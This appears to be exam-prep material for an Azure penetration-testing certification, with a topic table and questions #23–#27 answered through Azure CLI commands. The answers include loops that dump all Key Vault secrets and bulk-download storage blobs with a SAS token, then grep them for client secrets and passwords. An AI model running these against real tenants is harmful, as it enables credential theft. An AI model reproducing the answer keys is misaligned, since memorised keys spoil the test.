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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Post-Exploitation & Persistence | 15% | - Defense evasion in Azure environment - Full attack chain demonstration - Data collection and exfiltration techniques - Maintaining persistent access |
| Topic 2: Lateral Movement & Tenant Compromise | 20% | - API and Azure management endpoint exploitation - Hybrid identity and on-prem integration abuse - Cross-resource and subscription hopping - Compute, storage, and network pivoting |
| Topic 3: Reconnaissance & Enumeration | 20% | - DNS, endpoints, and exposed services mapping - Azure resource discovery - Entra ID (Azure AD) enumeration - Azure tenant and domain enumeration |
| Topic 4: Initial Access | 20% | - Exposed secrets and configuration flaws - Consent phishing and application abuse - Token and session abuse - Password spraying and credential stuffing |
| Topic 5: Privilege Escalation | 25% | - Entra ID role and permission abuse - Managed Identity exploitation - Key Vault and secret management misconfigurations - Service Principal and App Registration attacks |
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問題 #23
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
問題 #24
The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" type " : " SystemAssigned "
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.
問題 #25
Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensitive-exports container. Which file contains credentials?
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
service-principal-creds.json
Detailed Solution:
Set variables:
ACCOUNT= " prodreportstore01 "
CONTAINER= " sensitive-exports "
SAS= " ?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z & sig= < signature > " List blobs:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name " $CONTAINER " \
--sas-token " $SAS " \
--query " [].name " \
--output table
Expected output:
Name
----------------------------
monthly-report.csv
service-principal-creds.json
readme.txt
The credential file is:
service-principal-creds.json
================
問題 #26
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
問題 #27
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
答案：A
解題說明：
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.
問題 #28
......
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